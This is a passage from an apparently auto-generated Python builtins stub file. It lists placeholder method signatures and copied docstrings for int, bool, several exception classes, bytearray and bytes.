  853. def __floordiv__(self, *args, **kwargs): # real signature unknown
  854. """ Return self//value. """
  855. pass
  856. def __floor__(self, *args, **kwargs): # real signature unknown
  857. """ Flooring an Integral returns itself. """
  858. pass
  859. def __format__(self, *args, **kwargs): # real signature unknown
  860. pass
  861. def __getattribute__(self, *args, **kwargs): # real signature unknown
  862. """ Return getattr(self, name). """
  863. pass
  864. def __getnewargs__(self, *args, **kwargs): # real signature unknown
  865. pass
  866. def __ge__(self, *args, **kwargs): # real signature unknown
  867. """ Return self>=value. """
  868. pass
  869. def __gt__(self, *args, **kwargs): # real signature unknown
  870. """ Return self>value. """
  871. pass
  872. def __hash__(self, *args, **kwargs): # real signature unknown
  873. """ Return hash(self). """
  874. pass
  875. def __index__(self, *args, **kwargs): # real signature unknown
  876. """ Return self converted to an integer, if self is suitable for use as an index into a list. """
  877. pass
  878. def __init__(self, x, base=10): # known special case of int.__init__
  879. """
  880. int([x]) -> integer
  881. int(x, base=10) -> integer
  882. Convert a number or string to an integer, or return 0 if no arguments
  883. are given. If x is a number, return x.__int__(). For floating point
  884. numbers, this truncates towards zero.
  885. If x is not a number or if base is given, then x must be a string,
  886. bytes, or bytearray instance representing an integer literal in the
  887. given base. The literal can be preceded by '+' or '-' and be surrounded
  888. by whitespace. The base defaults to 10. Valid bases are 0 and 2-36.
  889. Base 0 means to interpret the base from the string as an integer literal.
  890. >>> int('0b100', base=0)
  891. 4
  892. # (copied from class doc)
  893. """
  894. pass
  895. def __int__(self, *args, **kwargs): # real signature unknown
  896. """ int(self) """
  897. pass
  898. def __invert__(self, *args, **kwargs): # real signature unknown
  899. """ ~self """
  900. pass
  901. def __le__(self, *args, **kwargs): # real signature unknown
  902. """ Return self<=value. """
  903. pass
  904. def __lshift__(self, *args, **kwargs): # real signature unknown
  905. """ Return self<<value. """
  906. pass
  907. def __lt__(self, *args, **kwargs): # real signature unknown
  908. """ Return self<value. """
  909. pass
  910. def __mod__(self, *args, **kwargs): # real signature unknown
  911. """ Return self%value. """
  912. pass
  913. def __mul__(self, *args, **kwargs): # real signature unknown
  914. """ Return self*value. """
  915. pass
  916. def __neg__(self, *args, **kwargs): # real signature unknown
  917. """ -self """
  918. pass
  919. @staticmethod # known case of __new__
  920. def __new__(*args, **kwargs): # real signature unknown
  921. """ Create and return a new object. See help(type) for accurate signature. """
  922. pass
  923. def __ne__(self, *args, **kwargs): # real signature unknown
  924. """ Return self!=value. """
  925. pass
  926. def __or__(self, *args, **kwargs): # real signature unknown
  927. """ Return self|value. """
  928. pass
  929. def __pos__(self, *args, **kwargs): # real signature unknown
  930. """ +self """
  931. pass
  932. def __pow__(self, *args, **kwargs): # real signature unknown
  933. """ Return pow(self, value, mod). """
  934. pass
  935. def __radd__(self, *args, **kwargs): # real signature unknown
  936. """ Return value+self. """
  937. pass
  938. def __rand__(self, *args, **kwargs): # real signature unknown
  939. """ Return value&self. """
  940. pass
  941. def __rdivmod__(self, *args, **kwargs): # real signature unknown
  942. """ Return divmod(value, self). """
  943. pass
  944. def __repr__(self, *args, **kwargs): # real signature unknown
  945. """ Return repr(self). """
  946. pass
  947. def __rfloordiv__(self, *args, **kwargs): # real signature unknown
  948. """ Return value//self. """
  949. pass
  950. def __rlshift__(self, *args, **kwargs): # real signature unknown
  951. """ Return value<<self. """
  952. pass
  953. def __rmod__(self, *args, **kwargs): # real signature unknown
  954. """ Return value%self. """
  955. pass
  956. def __rmul__(self, *args, **kwargs): # real signature unknown
  957. """ Return value*self. """
  958. pass
  959. def __ror__(self, *args, **kwargs): # real signature unknown
  960. """ Return value|self. """
  961. pass
  962. def __round__(self, *args, **kwargs): # real signature unknown
  963. """
  964. Rounding an Integral returns itself.
  965. Rounding with an ndigits argument also returns an integer.
  966. """
  967. pass
  968. def __rpow__(self, *args, **kwargs): # real signature unknown
  969. """ Return pow(value, self, mod). """
  970. pass
  971. def __rrshift__(self, *args, **kwargs): # real signature unknown
  972. """ Return value>>self. """
  973. pass
  974. def __rshift__(self, *args, **kwargs): # real signature unknown
  975. """ Return self>>value. """
  976. pass
  977. def __rsub__(self, *args, **kwargs): # real signature unknown
  978. """ Return value-self. """
  979. pass
  980. def __rtruediv__(self, *args, **kwargs): # real signature unknown
  981. """ Return value/self. """
  982. pass
  983. def __rxor__(self, *args, **kwargs): # real signature unknown
  984. """ Return value^self. """
  985. pass
  986. def __sizeof__(self, *args, **kwargs): # real signature unknown
  987. """ Returns size in memory, in bytes. """
  988. pass
  989. def __sub__(self, *args, **kwargs): # real signature unknown
  990. """ Return self-value. """
  991. pass
  992. def __truediv__(self, *args, **kwargs): # real signature unknown
  993. """ Return self/value. """
  994. pass
  995. def __trunc__(self, *args, **kwargs): # real signature unknown
  996. """ Truncating an Integral returns itself. """
  997. pass
  998. def __xor__(self, *args, **kwargs): # real signature unknown
  999. """ Return self^value. """
  1000. pass
  1001. denominator = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  1002. """the denominator of a rational number in lowest terms"""
  1003. imag = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  1004. """the imaginary part of a complex number"""
  1005. numerator = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  1006. """the numerator of a rational number in lowest terms"""
  1007. real = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  1008. """the real part of a complex number"""
  1009. class bool(int):
  1010. """
  1011. bool(x) -> bool
  1012. Returns True when the argument x is true, False otherwise.
  1013. The builtins True and False are the only two instances of the class bool.
  1014. The class bool is a subclass of the class int, and cannot be subclassed.
  1015. """
  1016. def __and__(self, *args, **kwargs): # real signature unknown
  1017. """ Return self&value. """
  1018. pass
  1019. def __init__(self, x): # real signature unknown; restored from __doc__
  1020. pass
  1021. @staticmethod # known case of __new__
  1022. def __new__(*args, **kwargs): # real signature unknown
  1023. """ Create and return a new object. See help(type) for accurate signature. """
  1024. pass
  1025. def __or__(self, *args, **kwargs): # real signature unknown
  1026. """ Return self|value. """
  1027. pass
  1028. def __rand__(self, *args, **kwargs): # real signature unknown
  1029. """ Return value&self. """
  1030. pass
  1031. def __repr__(self, *args, **kwargs): # real signature unknown
  1032. """ Return repr(self). """
  1033. pass
  1034. def __ror__(self, *args, **kwargs): # real signature unknown
  1035. """ Return value|self. """
  1036. pass
  1037. def __rxor__(self, *args, **kwargs): # real signature unknown
  1038. """ Return value^self. """
  1039. pass
  1040. def __xor__(self, *args, **kwargs): # real signature unknown
  1041. """ Return self^value. """
  1042. pass
  1043. class ConnectionError(OSError):
  1044. """ Connection error. """
  1045. def __init__(self, *args, **kwargs): # real signature unknown
  1046. pass
  1047. class BrokenPipeError(ConnectionError):
  1048. """ Broken pipe. """
  1049. def __init__(self, *args, **kwargs): # real signature unknown
  1050. pass
  1051. class BufferError(Exception):
  1052. """ Buffer error. """
  1053. def __init__(self, *args, **kwargs): # real signature unknown
  1054. pass
  1055. @staticmethod # known case of __new__
  1056. def __new__(*args, **kwargs): # real signature unknown
  1057. """ Create and return a new object. See help(type) for accurate signature. """
  1058. pass
  1059. class bytearray(object):
  1060. """
  1061. bytearray(iterable_of_ints) -> bytearray
  1062. bytearray(string, encoding[, errors]) -> bytearray
  1063. bytearray(bytes_or_buffer) -> mutable copy of bytes_or_buffer
  1064. bytearray(int) -> bytes array of size given by the parameter initialized with null bytes
  1065. bytearray() -> empty bytes array
  1066. Construct a mutable bytearray object from:
  1067. - an iterable yielding integers in range(256)
  1068. - a text string encoded using the specified encoding
  1069. - a bytes or a buffer object
  1070. - any object implementing the buffer API.
  1071. - an integer
  1072. """
  1073. def append(self, *args, **kwargs): # real signature unknown
  1074. """
  1075. Append a single item to the end of the bytearray.
  1076. item
  1077. The item to be appended.
  1078. """
  1079. pass
  1080. def capitalize(self): # real signature unknown; restored from __doc__
  1081. """
  1082. B.capitalize() -> copy of B
  1083. Return a copy of B with only its first character capitalized (ASCII)
  1084. and the rest lower-cased.
  1085. """
  1086. pass
  1087. def center(self, *args, **kwargs): # real signature unknown
  1088. """
  1089. Return a centered string of length width.
  1090. Padding is done using the specified fill character.
  1091. """
  1092. pass
  1093. def clear(self, *args, **kwargs): # real signature unknown
  1094. """ Remove all items from the bytearray. """
  1095. pass
  1096. def copy(self, *args, **kwargs): # real signature unknown
  1097. """ Return a copy of B. """
  1098. pass
  1099. def count(self, sub, start=None, end=None): # real signature unknown; restored from __doc__
  1100. """
  1101. B.count(sub[, start[, end]]) -> int
  1102. Return the number of non-overlapping occurrences of subsection sub in
  1103. bytes B[start:end]. Optional arguments start and end are interpreted
  1104. as in slice notation.
  1105. """
  1106. return 0
  1107. def decode(self, *args, **kwargs): # real signature unknown
  1108. """
  1109. Decode the bytearray using the codec registered for encoding.
  1110. encoding
  1111. The encoding with which to decode the bytearray.
  1112. errors
  1113. The error handling scheme to use for the handling of decoding errors.
  1114. The default is 'strict' meaning that decoding errors raise a
  1115. UnicodeDecodeError. Other possible values are 'ignore' and 'replace'
  1116. as well as any other name registered with codecs.register_error that
  1117. can handle UnicodeDecodeErrors.
  1118. """
  1119. pass
  1120. def endswith(self, suffix, start=None, end=None): # real signature unknown; restored from __doc__
  1121. """
  1122. B.endswith(suffix[, start[, end]]) -> bool
  1123. Return True if B ends with the specified suffix, False otherwise.
  1124. With optional start, test B beginning at that position.
  1125. With optional end, stop comparing B at that position.
  1126. suffix can also be a tuple of bytes to try.
  1127. """
  1128. return False
  1129. def expandtabs(self, *args, **kwargs): # real signature unknown
  1130. """
  1131. Return a copy where all tab characters are expanded using spaces.
  1132. If tabsize is not given, a tab size of 8 characters is assumed.
  1133. """
  1134. pass
  1135. def extend(self, *args, **kwargs): # real signature unknown
  1136. """
  1137. Append all the items from the iterator or sequence to the end of the bytearray.
  1138. iterable_of_ints
  1139. The iterable of items to append.
  1140. """
  1141. pass
  1142. def find(self, sub, start=None, end=None): # real signature unknown; restored from __doc__
  1143. """
  1144. B.find(sub[, start[, end]]) -> int
  1145. Return the lowest index in B where subsection sub is found,
  1146. such that sub is contained within B[start,end]. Optional
  1147. arguments start and end are interpreted as in slice notation.
  1148. Return -1 on failure.
  1149. """
  1150. return 0
  1151. @classmethod # known case
  1152. def fromhex(cls, *args, **kwargs): # real signature unknown; NOTE: unreliably restored from __doc__
  1153. """
  1154. Create a bytearray object from a string of hexadecimal numbers.
  1155. Spaces between two numbers are accepted.
  1156. Example: bytearray.fromhex('B9 01EF') -> bytearray(b'\\xb9\\x01\\xef')
  1157. """
  1158. pass
  1159. def hex(self): # real signature unknown; restored from __doc__
  1160. """
  1161. Create a str of hexadecimal numbers from a bytearray object.
  1162. sep
  1163. An optional single character or byte to separate hex bytes.
  1164. bytes_per_sep
  1165. How many bytes between separators. Positive values count from the
  1166. right, negative values count from the left.
  1167. Example:
  1168. >>> value = bytearray([0xb9, 0x01, 0xef])
  1169. >>> value.hex()
  1170. 'b901ef'
  1171. >>> value.hex(':')
  1172. 'b9:01:ef'
  1173. >>> value.hex(':', 2)
  1174. 'b9:01ef'
  1175. >>> value.hex(':', -2)
  1176. 'b901:ef'
  1177. """
  1178. pass
  1179. def index(self, sub, start=None, end=None): # real signature unknown; restored from __doc__
  1180. """
  1181. B.index(sub[, start[, end]]) -> int
  1182. Return the lowest index in B where subsection sub is found,
  1183. such that sub is contained within B[start,end]. Optional
  1184. arguments start and end are interpreted as in slice notation.
  1185. Raises ValueError when the subsection is not found.
  1186. """
  1187. return 0
  1188. def insert(self, *args, **kwargs): # real signature unknown
  1189. """
  1190. Insert a single item into the bytearray before the given index.
  1191. index
  1192. The index where the value is to be inserted.
  1193. item
  1194. The item to be inserted.
  1195. """
  1196. pass
  1197. def isalnum(self): # real signature unknown; restored from __doc__
  1198. """
  1199. B.isalnum() -> bool
  1200. Return True if all characters in B are alphanumeric
  1201. and there is at least one character in B, False otherwise.
  1202. """
  1203. return False
  1204. def isalpha(self): # real signature unknown; restored from __doc__
  1205. """
  1206. B.isalpha() -> bool
  1207. Return True if all characters in B are alphabetic
  1208. and there is at least one character in B, False otherwise.
  1209. """
  1210. return False
  1211. def isascii(self): # real signature unknown; restored from __doc__
  1212. """
  1213. B.isascii() -> bool
  1214. Return True if B is empty or all characters in B are ASCII,
  1215. False otherwise.
  1216. """
  1217. return False
  1218. def isdigit(self): # real signature unknown; restored from __doc__
  1219. """
  1220. B.isdigit() -> bool
  1221. Return True if all characters in B are digits
  1222. and there is at least one character in B, False otherwise.
  1223. """
  1224. return False
  1225. def islower(self): # real signature unknown; restored from __doc__
  1226. """
  1227. B.islower() -> bool
  1228. Return True if all cased characters in B are lowercase and there is
  1229. at least one cased character in B, False otherwise.
  1230. """
  1231. return False
  1232. def isspace(self): # real signature unknown; restored from __doc__
  1233. """
  1234. B.isspace() -> bool
  1235. Return True if all characters in B are whitespace
  1236. and there is at least one character in B, False otherwise.
  1237. """
  1238. return False
  1239. def istitle(self): # real signature unknown; restored from __doc__
  1240. """
  1241. B.istitle() -> bool
  1242. Return True if B is a titlecased string and there is at least one
  1243. character in B, i.e. uppercase characters may only follow uncased
  1244. characters and lowercase characters only cased ones. Return False
  1245. otherwise.
  1246. """
  1247. return False
  1248. def isupper(self): # real signature unknown; restored from __doc__
  1249. """
  1250. B.isupper() -> bool
  1251. Return True if all cased characters in B are uppercase and there is
  1252. at least one cased character in B, False otherwise.
  1253. """
  1254. return False
  1255. def join(self, *args, **kwargs): # real signature unknown
  1256. """
  1257. Concatenate any number of bytes/bytearray objects.
  1258. The bytearray whose method is called is inserted in between each pair.
  1259. The result is returned as a new bytearray object.
  1260. """
  1261. pass
  1262. def ljust(self, *args, **kwargs): # real signature unknown
  1263. """
  1264. Return a left-justified string of length width.
  1265. Padding is done using the specified fill character.
  1266. """
  1267. pass
  1268. def lower(self): # real signature unknown; restored from __doc__
  1269. """
  1270. B.lower() -> copy of B
  1271. Return a copy of B with all ASCII characters converted to lowercase.
  1272. """
  1273. pass
  1274. def lstrip(self, *args, **kwargs): # real signature unknown
  1275. """
  1276. Strip leading bytes contained in the argument.
  1277. If the argument is omitted or None, strip leading ASCII whitespace.
  1278. """
  1279. pass
  1280. @staticmethod # known case
  1281. def maketrans(*args, **kwargs): # real signature unknown
  1282. """
  1283. Return a translation table useable for the bytes or bytearray translate method.
  1284. The returned table will be one where each byte in frm is mapped to the byte at
  1285. the same position in to.
  1286. The bytes objects frm and to must be of the same length.
  1287. """
  1288. pass
  1289. def partition(self, *args, **kwargs): # real signature unknown
  1290. """
  1291. Partition the bytearray into three parts using the given separator.
  1292. This will search for the separator sep in the bytearray. If the separator is
  1293. found, returns a 3-tuple containing the part before the separator, the
  1294. separator itself, and the part after it as new bytearray objects.
  1295. If the separator is not found, returns a 3-tuple containing the copy of the
  1296. original bytearray object and two empty bytearray objects.
  1297. """
  1298. pass
  1299. def pop(self, *args, **kwargs): # real signature unknown
  1300. """
  1301. Remove and return a single item from B.
  1302. index
  1303. The index from where to remove the item.
  1304. -1 (the default value) means remove the last item.
  1305. If no index argument is given, will pop the last item.
  1306. """
  1307. pass
  1308. def remove(self, *args, **kwargs): # real signature unknown
  1309. """
  1310. Remove the first occurrence of a value in the bytearray.
  1311. value
  1312. The value to remove.
  1313. """
  1314. pass
  1315. def removeprefix(self, *args, **kwargs): # real signature unknown
  1316. """
  1317. Return a bytearray with the given prefix string removed if present.
  1318. If the bytearray starts with the prefix string, return
  1319. bytearray[len(prefix):]. Otherwise, return a copy of the original
  1320. bytearray.
  1321. """
  1322. pass
  1323. def removesuffix(self, *args, **kwargs): # real signature unknown
  1324. """
  1325. Return a bytearray with the given suffix string removed if present.
  1326. If the bytearray ends with the suffix string and that suffix is not
  1327. empty, return bytearray[:-len(suffix)]. Otherwise, return a copy of
  1328. the original bytearray.
  1329. """
  1330. pass
  1331. def replace(self, *args, **kwargs): # real signature unknown
  1332. """
  1333. Return a copy with all occurrences of substring old replaced by new.
  1334. count
  1335. Maximum number of occurrences to replace.
  1336. -1 (the default value) means replace all occurrences.
  1337. If the optional argument count is given, only the first count occurrences are
  1338. replaced.
  1339. """
  1340. pass
  1341. def reverse(self, *args, **kwargs): # real signature unknown
  1342. """ Reverse the order of the values in B in place. """
  1343. pass
  1344. def rfind(self, sub, start=None, end=None): # real signature unknown; restored from __doc__
  1345. """
  1346. B.rfind(sub[, start[, end]]) -> int
  1347. Return the highest index in B where subsection sub is found,
  1348. such that sub is contained within B[start,end]. Optional
  1349. arguments start and end are interpreted as in slice notation.
  1350. Return -1 on failure.
  1351. """
  1352. return 0
  1353. def rindex(self, sub, start=None, end=None): # real signature unknown; restored from __doc__
  1354. """
  1355. B.rindex(sub[, start[, end]]) -> int
  1356. Return the highest index in B where subsection sub is found,
  1357. such that sub is contained within B[start,end]. Optional
  1358. arguments start and end are interpreted as in slice notation.
  1359. Raise ValueError when the subsection is not found.
  1360. """
  1361. return 0
  1362. def rjust(self, *args, **kwargs): # real signature unknown
  1363. """
  1364. Return a right-justified string of length width.
  1365. Padding is done using the specified fill character.
  1366. """
  1367. pass
  1368. def rpartition(self, *args, **kwargs): # real signature unknown
  1369. """
  1370. Partition the bytearray into three parts using the given separator.
  1371. This will search for the separator sep in the bytearray, starting at the end.
  1372. If the separator is found, returns a 3-tuple containing the part before the
  1373. separator, the separator itself, and the part after it as new bytearray
  1374. objects.
  1375. If the separator is not found, returns a 3-tuple containing two empty bytearray
  1376. objects and the copy of the original bytearray object.
  1377. """
  1378. pass
  1379. def rsplit(self, *args, **kwargs): # real signature unknown
  1380. """
  1381. Return a list of the sections in the bytearray, using sep as the delimiter.
  1382. sep
  1383. The delimiter according which to split the bytearray.
  1384. None (the default value) means split on ASCII whitespace characters
  1385. (space, tab, return, newline, formfeed, vertical tab).
  1386. maxsplit
  1387. Maximum number of splits to do.
  1388. -1 (the default value) means no limit.
  1389. Splitting is done starting at the end of the bytearray and working to the front.
  1390. """
  1391. pass
  1392. def rstrip(self, *args, **kwargs): # real signature unknown
  1393. """
  1394. Strip trailing bytes contained in the argument.
  1395. If the argument is omitted or None, strip trailing ASCII whitespace.
  1396. """
  1397. pass
  1398. def split(self, *args, **kwargs): # real signature unknown
  1399. """
  1400. Return a list of the sections in the bytearray, using sep as the delimiter.
  1401. sep
  1402. The delimiter according which to split the bytearray.
  1403. None (the default value) means split on ASCII whitespace characters
  1404. (space, tab, return, newline, formfeed, vertical tab).
  1405. maxsplit
  1406. Maximum number of splits to do.
  1407. -1 (the default value) means no limit.
  1408. """
  1409. pass
  1410. def splitlines(self, *args, **kwargs): # real signature unknown
  1411. """
  1412. Return a list of the lines in the bytearray, breaking at line boundaries.
  1413. Line breaks are not included in the resulting list unless keepends is given and
  1414. true.
  1415. """
  1416. pass
  1417. def startswith(self, prefix, start=None, end=None): # real signature unknown; restored from __doc__
  1418. """
  1419. B.startswith(prefix[, start[, end]]) -> bool
  1420. Return True if B starts with the specified prefix, False otherwise.
  1421. With optional start, test B beginning at that position.
  1422. With optional end, stop comparing B at that position.
  1423. prefix can also be a tuple of bytes to try.
  1424. """
  1425. return False
  1426. def strip(self, *args, **kwargs): # real signature unknown
  1427. """
  1428. Strip leading and trailing bytes contained in the argument.
  1429. If the argument is omitted or None, strip leading and trailing ASCII whitespace.
  1430. """
  1431. pass
  1432. def swapcase(self): # real signature unknown; restored from __doc__
  1433. """
  1434. B.swapcase() -> copy of B
  1435. Return a copy of B with uppercase ASCII characters converted
  1436. to lowercase ASCII and vice versa.
  1437. """
  1438. pass
  1439. def title(self): # real signature unknown; restored from __doc__
  1440. """
  1441. B.title() -> copy of B
  1442. Return a titlecased version of B, i.e. ASCII words start with uppercase
  1443. characters, all remaining cased characters have lowercase.
  1444. """
  1445. pass
  1446. def translate(self, *args, **kwargs): # real signature unknown
  1447. """
  1448. Return a copy with each character mapped by the given translation table.
  1449. table
  1450. Translation table, which must be a bytes object of length 256.
  1451. All characters occurring in the optional argument delete are removed.
  1452. The remaining characters are mapped through the given translation table.
  1453. """
  1454. pass
  1455. def upper(self): # real signature unknown; restored from __doc__
  1456. """
  1457. B.upper() -> copy of B
  1458. Return a copy of B with all ASCII characters converted to uppercase.
  1459. """
  1460. pass
  1461. def zfill(self, *args, **kwargs): # real signature unknown
  1462. """
  1463. Pad a numeric string with zeros on the left, to fill a field of the given width.
  1464. The original string is never truncated.
  1465. """
  1466. pass
  1467. def __add__(self, *args, **kwargs): # real signature unknown
  1468. """ Return self+value. """
  1469. pass
  1470. def __alloc__(self): # real signature unknown; restored from __doc__
  1471. """
  1472. B.__alloc__() -> int
  1473. Return the number of bytes actually allocated.
  1474. """
  1475. return 0
  1476. def __contains__(self, *args, **kwargs): # real signature unknown
  1477. """ Return key in self. """
  1478. pass
  1479. def __delitem__(self, *args, **kwargs): # real signature unknown
  1480. """ Delete self[key]. """
  1481. pass
  1482. def __eq__(self, *args, **kwargs): # real signature unknown
  1483. """ Return self==value. """
  1484. pass
  1485. def __getattribute__(self, *args, **kwargs): # real signature unknown
  1486. """ Return getattr(self, name). """
  1487. pass
  1488. def __getitem__(self, *args, **kwargs): # real signature unknown
  1489. """ Return self[key]. """
  1490. pass
  1491. def __ge__(self, *args, **kwargs): # real signature unknown
  1492. """ Return self>=value. """
  1493. pass
  1494. def __gt__(self, *args, **kwargs): # real signature unknown
  1495. """ Return self>value. """
  1496. pass
  1497. def __iadd__(self, *args, **kwargs): # real signature unknown
  1498. """ Implement self+=value. """
  1499. pass
  1500. def __imul__(self, *args, **kwargs): # real signature unknown
  1501. """ Implement self*=value. """
  1502. pass
  1503. def __init__(self, source=None, encoding=None, errors='strict'): # known special case of bytearray.__init__
  1504. """
  1505. bytearray(iterable_of_ints) -> bytearray
  1506. bytearray(string, encoding[, errors]) -> bytearray
  1507. bytearray(bytes_or_buffer) -> mutable copy of bytes_or_buffer
  1508. bytearray(int) -> bytes array of size given by the parameter initialized with null bytes
  1509. bytearray() -> empty bytes array
  1510. Construct a mutable bytearray object from:
  1511. - an iterable yielding integers in range(256)
  1512. - a text string encoded using the specified encoding
  1513. - a bytes or a buffer object
  1514. - any object implementing the buffer API.
  1515. - an integer
  1516. # (copied from class doc)
  1517. """
  1518. pass
  1519. def __iter__(self, *args, **kwargs): # real signature unknown
  1520. """ Implement iter(self). """
  1521. pass
  1522. def __len__(self, *args, **kwargs): # real signature unknown
  1523. """ Return len(self). """
  1524. pass
  1525. def __le__(self, *args, **kwargs): # real signature unknown
  1526. """ Return self<=value. """
  1527. pass
  1528. def __lt__(self, *args, **kwargs): # real signature unknown
  1529. """ Return self<value. """
  1530. pass
  1531. def __mod__(self, *args, **kwargs): # real signature unknown
  1532. """ Return self%value. """
  1533. pass
  1534. def __mul__(self, *args, **kwargs): # real signature unknown
  1535. """ Return self*value. """
  1536. pass
  1537. @staticmethod # known case of __new__
  1538. def __new__(*args, **kwargs): # real signature unknown
  1539. """ Create and return a new object. See help(type) for accurate signature. """
  1540. pass
  1541. def __ne__(self, *args, **kwargs): # real signature unknown
  1542. """ Return self!=value. """
  1543. pass
  1544. def __reduce_ex__(self, *args, **kwargs): # real signature unknown
  1545. """ Return state information for pickling. """
  1546. pass
  1547. def __reduce__(self, *args, **kwargs): # real signature unknown
  1548. """ Return state information for pickling. """
  1549. pass
  1550. def __repr__(self, *args, **kwargs): # real signature unknown
  1551. """ Return repr(self). """
  1552. pass
  1553. def __rmod__(self, *args, **kwargs): # real signature unknown
  1554. """ Return value%self. """
  1555. pass
  1556. def __rmul__(self, *args, **kwargs): # real signature unknown
  1557. """ Return value*self. """
  1558. pass
  1559. def __setitem__(self, *args, **kwargs): # real signature unknown
  1560. """ Set self[key] to value. """
  1561. pass
  1562. def __sizeof__(self, *args, **kwargs): # real signature unknown
  1563. """ Returns the size of the bytearray object in memory, in bytes. """
  1564. pass
  1565. def __str__(self, *args, **kwargs): # real signature unknown
  1566. """ Return str(self). """
  1567. pass
  1568. __hash__ = None
  1569. class bytes(object):
  1570. """
  1571. bytes(iterable_of_ints) -> bytes
  1572. bytes(string, encoding[, errors]) -> bytes
  1573. bytes(bytes_or_buffer) -> immutable copy of bytes_or_buffer
  1574. bytes(int) -> bytes object of size given by the parameter initialized with null bytes
  1575. bytes() -> empty bytes object
  1576. Construct an immutable array of bytes from:
  1577. - an iterable yielding integers in range(256)
  1578. - a text string encoded using the specified encoding
  1579. - any object implementing the buffer API.
  1580. - an integer
  1581. """
  1582. def capitalize(self): # real signature unknown; restored from __doc__
  1583. """
  1584. B.capitalize() -> copy of B
  1585. Return a copy of B with only its first character capitalized (ASCII)
  1586. and the rest lower-cased.
  1587. """
  1588. pass
  1589. def center(self, *args, **kwargs): # real signature unknown
  1590. """
  1591. Return a centered string of length width.
  1592. Padding is done using the specified fill character.
  1593. """
  1594. pass
  1595. def count(self, sub, start=None, end=None): # real signature unknown; restored from __doc__
  1596. """
  1597. B.count(sub[, start[, end]]) -> int
  1598. Return the number of non-overlapping occurrences of subsection sub in
  1599. bytes B[start:end]. Optional arguments start and end are interpreted
  1600. as in slice notation.
  1601. """
  1602. return 0
  1603. def decode(self, *args, **kwargs): # real signature unknown
  1604. """
  1605. Decode the bytes using the codec registered for encoding.
  1606. encoding
  1607. The encoding with which to decode the bytes.
  1608. errors
  1609. The error handling scheme to use for the handling of decoding errors.
  1610. The default is 'strict' meaning that decoding errors raise a
  1611. UnicodeDecodeError. Other possible values are 'ignore' and 'replace'
  1612. as well as any other name registered with codecs.register_error that
  1613. can handle UnicodeDecodeErrors.
  1614. """
  1615. pass
  1616. def endswith(self, suffix, start=None, end=None): # real signature unknown; restored from __doc__
  1617. """
  1618. B.endswith(suffix[, start[, end]]) -> bool
  1619. Return True if B ends with the specified suffix, False otherwise.
  1620. With optional start, test B beginning at that position.
  1621. With optional end, stop comparing B at that position.
  1622. suffix can also be a tuple of bytes to try.
  1623. """
  1624. return False
  1625. def expandtabs(self, *args, **kwargs): # real signature unknown
  1626. """
  1627. Return a copy where all tab characters are expanded using spaces.
  1628. If tabsize is not given, a tab size of 8 characters is assumed.
  1629. """
  1630. pass
  1631. def find(self, sub, start=None, end=None): # real signature unknown; restored from __doc__
  1632. """
  1633. B.find(sub[, start[, end]]) -> int
  1634. Return the lowest index in B where subsection sub is found,
  1635. such that sub is contained within B[start,end]. Optional
  1636. arguments start and end are interpreted as in slice notation.
  1637. Return -1 on failure.
  1638. """
  1639. return 0
  1640. @classmethod # known case
  1641. def fromhex(cls, *args, **kwargs): # real signature unknown; NOTE: unreliably restored from __doc__
  1642. """
  1643. Create a bytes object from a string of hexadecimal numbers.
  1644. Spaces between two numbers are accepted.
  1645. Example: bytes.fromhex('B9 01EF') -> b'\\xb9\\x01\\xef'.
  1646. """
  1647. pass
  1648. def hex(self): # real signature unknown; restored from __doc__
  1649. """
  1650. Create a str of hexadecimal numbers from a bytes object.
  1651. sep
  1652. An optional single character or byte to separate hex bytes.
  1653. bytes_per_sep
  1654. How many bytes between separators. Positive values count from the
  1655. right, negative values count from the left.
  1656. Example:
  1657. >>> value = b'\xb9\x01\xef'
  1658. >>> value.hex()
  1659. 'b901ef'
  1660. >>> value.hex(':')
  1661. 'b9:01:ef'
  1662. >>> value.hex(':', 2)
  1663. 'b9:01ef'
  1664. >>> value.hex(':', -2)
  1665. 'b901:ef'
  1666. """
  1667. pass
  1668. def index(self, sub, start=None, end=None): # real signature unknown; restored from __doc__
  1669. """
  1670. B.index(sub[, start[, end]]) -> int
  1671. Return the lowest index in B where subsection sub is found,
  1672. such that sub is contained within B[start,end]. Optional
  1673. arguments start and end are interpreted as in slice notation.
  1674. Raises ValueError when the subsection is not found.
  1675. """
  1676. return 0
  1677. def isalnum(self): # real signature unknown; restored from __doc__
  1678. """
  1679. B.isalnum() -> bool
  1680. Return True if all characters in B are alphanumeric
  1681. and there is at least one character in B, False otherwise.
  1682. """
  1683. return False
  1684. def isalpha(self): # real signature unknown; restored from __doc__
  1685. """
  1686. B.isalpha() -> bool
  1687. Return True if all characters in B are alphabetic
  1688. and there is at least one character in B, False otherwise.
  1689. """
  1690. return False
  1691. def isascii(self): # real signature unknown; restored from __doc__
  1692. """
  1693. B.isascii() -> bool
  1694. Return True if B is empty or all characters in B are ASCII,
  1695. False otherwise.
  1696. """
  1697. return False
  1698. def isdigit(self): # real signature unknown; restored from __doc__
  1699. """
  1700. B.isdigit() -> bool
  1701. Return True if all characters in B are digits
  1702. and there is at least one character in B, False otherwise.
  1703. """
  1704. return False
  1705. def islower(self): # real signature unknown; restored from __doc__
  1706. """
  1707. B.islower() -> bool
  1708. Return True if all cased characters in B are lowercase and there is
  1709. at least one cased character in B, False otherwise.
  1710. """
  1711. return False
  1712. def isspace(self): # real signature unknown; restored from __doc__
  1713. """
  1714. B.isspace() -> bool
  1715. Return True if all characters in B are whitespace
  1716. and there is at least one character in B, False otherwise.
  1717. """
  1718. return False
  1719. def istitle(self): # real signature unknown; restored from __doc__
  1720. """
  1721. B.istitle() -> bool
  1722. Return True if B is a titlecased string and there is at least one
  1723. character in B, i.e. uppercase characters may only follow uncased
  1724. characters and lowercase characters only cased ones. Return False
  1725. otherwise.
  1726. """
  1727. return False
  1728. def isupper(self): # real signature unknown; restored from __doc__
  1729. """
  1730. B.isupper() -> bool
  1731. Return True if all cased characters in B are uppercase and there is
  1732. at least one cased character in B, False otherwise.
  1733. """
  1734. return False
  1735. def join(self, *args, **kwargs): # real signature unknown; NOTE: unreliably restored from __doc__
  1736. """
  1737. Concatenate any number of bytes objects.
  1738. The bytes whose method is called is inserted in between each pair.
  1739. The result is returned as a new bytes object.
  1740. Example: b'.'.join([b'ab', b'pq', b'rs']) -> b'ab.pq.rs'.
  1741. """
  1742. pass
  1743. def ljust(self, *args, **kwargs): # real signature unknown
  1744. """
  1745. Return a left-justified string of length width.
  1746. Padding is done using the specified fill character.
  1747. """
  1748. pass
